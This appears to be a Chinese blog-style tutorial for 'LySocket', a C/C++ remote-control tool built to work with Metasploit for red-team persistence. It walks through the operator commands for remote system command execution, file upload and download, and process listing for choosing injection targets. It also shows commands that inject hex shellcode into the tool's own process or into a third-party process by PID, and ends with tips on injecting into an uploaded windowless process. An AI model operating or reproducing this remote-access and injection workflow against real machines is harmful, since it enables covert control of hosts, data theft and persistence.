一款基于C/C++开发的远程ShellCode注入工具,通常配合Metasploit一起使用,可实现远程注入反弹代码到指定进程,它由服务端和客户端两部分组成,并使用最少的代码实现了多Socket套接字管理机制,目前主要功能包括,获取客户端CPU、内存、进程列表、磁盘列表、目录与文件列表、执行系统命令、远程文件上传下载、以及远程ShellCode注入,该工具可用于红队渗透后的权限维持工作。本次分享工具源代码及使用方法,读者可根据自己的需要参考学习,并以此来更好的理解套接字是如何进行管理的。
首先,读者需要有一个公网IP
地址,并在该地址上运行服务端程序,客户端可在被控主机上运行,为了防止技术滥用本工具并不提供开机自启动功能且不隐藏CMD
窗口,其目的仅是让读者能够学习红队武器化的开发思路,若需应用于实战还需增加其他功能(例如加密传输),读者可根据自己的理解进行学习和完善。
ShowSocket
当在服务端上运行ShowSocket
命令时,它会列出所有当前连接的客户端,其中包括客户端的IP地址、端口、及状态信息,该命令输出的信息通常包括以下内容:
[ LySocket ] # ShowSocket
--------------------------------------------------------------------
索引 客户端地址 端口 状态
--------------------------------------------------------------------
0 127.0.0.1 51453 Open
1 127.0.0.1 51454 Open
2 127.0.0.1 51455 Open
--------------------------------------------------------------------
GetCPU
当在服务端上运行GetCPU
命令时,它会列出目标主机的CPU信息,包括CPUID、CPU型号、CPU空闲、CPU内核、CPU用户、CPU利用百分比等,该命令输出的信息通常包括以下内容:
[ LySocket ] # GetCPU --addr 127.0.0.1
--------------------------------------------------------------------
CPUID: 3219913727
CPUType: GenuineIntel
idle: 12500000
kernel: 12500000
user: 0
cpu: 0
--------------------------------------------------------------------
GetMemory
当在服务端上运行GetMemory
命令时,它会获列出目标主机的内存信息,包括内存总量、内存剩余、内存已使用等信息,该命令输出的信息通常包括以下内容:
[ LySocket ] # GetMemory --addr 127.0.0.1
--------------------------------------------------------------------
内存总量 内存剩余 内存已使用
--------------------------------------------------------------------
7878 MB 4463 MB 3415 MB
7878 MB 4463 MB 3415 MB
7878 MB 4463 MB 3415 MB
--------------------------------------------------------------------
GetProcessList
当在服务端上运行GetProcessList
命令时,它会列出目标主机的进程列表信息,其中包括了进程PID、进程位数、进程名等,该功能主要用于挑选注入进程时使用,该命令输出的信息通常包括以下内容:
[ LySocket ] # GetProcessList --addr 127.0.0.1
--------------------------------------------------------------------
索引 进程PID 进程位数 进程名
--------------------------------------------------------------------
0 4 x64 System
1 104 x64 Registry
2 440 x64 smss.exe
3 608 x64 csrss.exe
4 700 x64 csrss.exe
5 724 x64 wininit.exe
6 764 x64 winlogon.exe
7 844 x64 services.exe
8 860 x64 lsass.exe
9 980 x64 svchost.exe
10 1016 x64 svchost.exe
11 524 x64 fontdrvhost.exe
12 372 x64 fontdrvhost.exe
--------------------------------------------------------------------
GetDiskList
当在服务端上运行GetDiskList
命令时,它会列出目标主机的磁盘列表信息,其中包括了磁盘名、磁盘类型、总容量、可用容量、已使用等,该命令输出的信息通常包括以下内容:
[ LySocket ] # GetDiskList --addr 127.0.0.1
----------------------------------------------------------------------------------------------------
磁盘名 磁盘类型 总容量 可用空间 已使用
----------------------------------------------------------------------------------------------------
C:\ 固定磁盘 256.000000 197.578125 58.421875
D:\ 固定磁盘 675.508789 633.071289 42.437500
F:\ 移动磁盘 1863.013672 1718.514648 144.499023
----------------------------------------------------------------------------------------------------
GetDiskFileList
当在服务端上运行GetDiskFileList
命令时,它会列出目标主机特定目录下的磁盘文件信息,其中包括了文件名及文件大小,该命令输出的信息通常包括以下内容:
[ LySocket ] # GetDiskFileList --addr 127.0.0.1 --path c://
--------------------------------------------------------------------
文件名 文件大小
--------------------------------------------------------------------
Boot 0
bootmgr 408344
PerfLogs 0
Program Files 0
Program Files (x86) 0
ProgramData 0
Users 0
Windows 0
--------------------------------------------------------------------
GetCommand
当在服务端上运行GetCommand
命令时,它会在目标系统中执行系统命令并输出执行结果,该命令输出的信息通常包括以下内容:
[ LySocket ] # GetCommand --addr 127.0.0.1 --cmd ipconfig
Windows IP 配置
以太网适配器 VMware Network Adapter VMnet1:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::5484:f4a1:18e7:22e8%6
IPv4 地址 . . . . . . . . . . . . : 192.168.16.1
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :
--------------------------------------------------------------------
SendFile
当在服务端上运行SendFile
命令时,它会将本地的特定文件发送到特定客户端上,例如将本地的d://lyshark.exe
发送到对端的d://tmp/lyshark.exe
目录下,可执行如下命令:
[ LySocket ] # SendFile --addr 127.0.0.1 --src d://lyshark.exe --dst d://tmp/
[+] 发送文件长度 14848
[*] 接收状态 1
[+] Success..
RecvFile
当在服务端上运行RecvFile
命令时,它会将远程主机上特定文件接收到服务端上,例如将远程主机上的d://lyshark.exe
接收到本地的d://tmp/
目录下,可执行如下命令:
[ LySocket ] # RecvFile --addr 127.0.0.1 --src d://lyshark.exe --dst d://tmp/
[+] 生成保存路径 d://tmp/lyshark.exe
[+] 接收字节数: 14848
[+] Success..
InjectCode
当在服务端上运行InjectSelfCode
命令时,它会将接收到的ShellCode
注入到自身进程内并执行,例如执行如下命令:
[ LySocket ] # InjectSelfCode --addr 127.0.0.1 --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
若要将ShellCode
注入到第三方进程中则可以使用InjectRemoteCode
命令,该命令接收三个参数分别是目标地址、目标PID
进程号、以及目标ShellCode
代码,例如执行如下命令:
[ LySocket ] # InjectRemoteCode --addr 127.0.0.1 --pid 8762 --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
对于注入,推荐使用SendFile
上传一个无窗体的进程,并通过调用GetCommand
运行进程,最后调用InjectRemoteCode
将其注入到对应的进程内,而不去使用系统中的其他进程。